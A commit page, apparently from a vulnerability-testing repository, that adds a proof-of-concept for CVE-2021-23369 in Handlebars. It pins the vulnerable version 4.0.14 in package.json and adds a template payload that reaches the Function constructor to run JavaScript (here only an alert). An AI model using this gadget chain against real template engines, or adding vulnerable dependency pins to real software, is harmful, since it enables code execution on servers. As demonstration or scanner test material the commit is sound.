CVE-2021-23369 - handlebars

endorlabs · Aug 7, 2024 · 9a93cb6 · 9a93cb6
1 parent 6baa0dc
commit 9a93cb6
Show file tree

Hide file tree

Showing 3 changed files with 102 additions and 0 deletions.
diff --git a/handlebar.js b/handlebar.js
@@ -0,0 +1,26 @@
+
+// CVE-2021-23369
+
+var hand = require('handlebars')
+
+var s = ` 
+{{#with "constructor"}} 
+{{#with split}} 
+{{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} 
+{{#with .}} 
+{{#with (concat (lookup join (slice 0 1)))}} 
+{{#each (slice 2 3)}} 
+{{#with (apply 0 ../..)}} 
+{{.}} 
+{{/with}} 
+{{/each}} 
+{{/with}} 
+{{/with}} 
+{{/with}} 
+{{/with}} 
+`;
+var template = hand.compile(s, { 
+strict: true 
+}); 
+
+console.log(template({}))
diff --git a/package-lock.json b/package-lock.json
diff --git a/package.json b/package.json
@@ -10,6 +10,7 @@
   "license": "ISC",
   "description": "",
   "dependencies": {
+    "handlebars": "4.0.14",
     "minimist": "1.2.5",
     "mongodb": "^3.5.9",
     "mongoose": "4.2.4",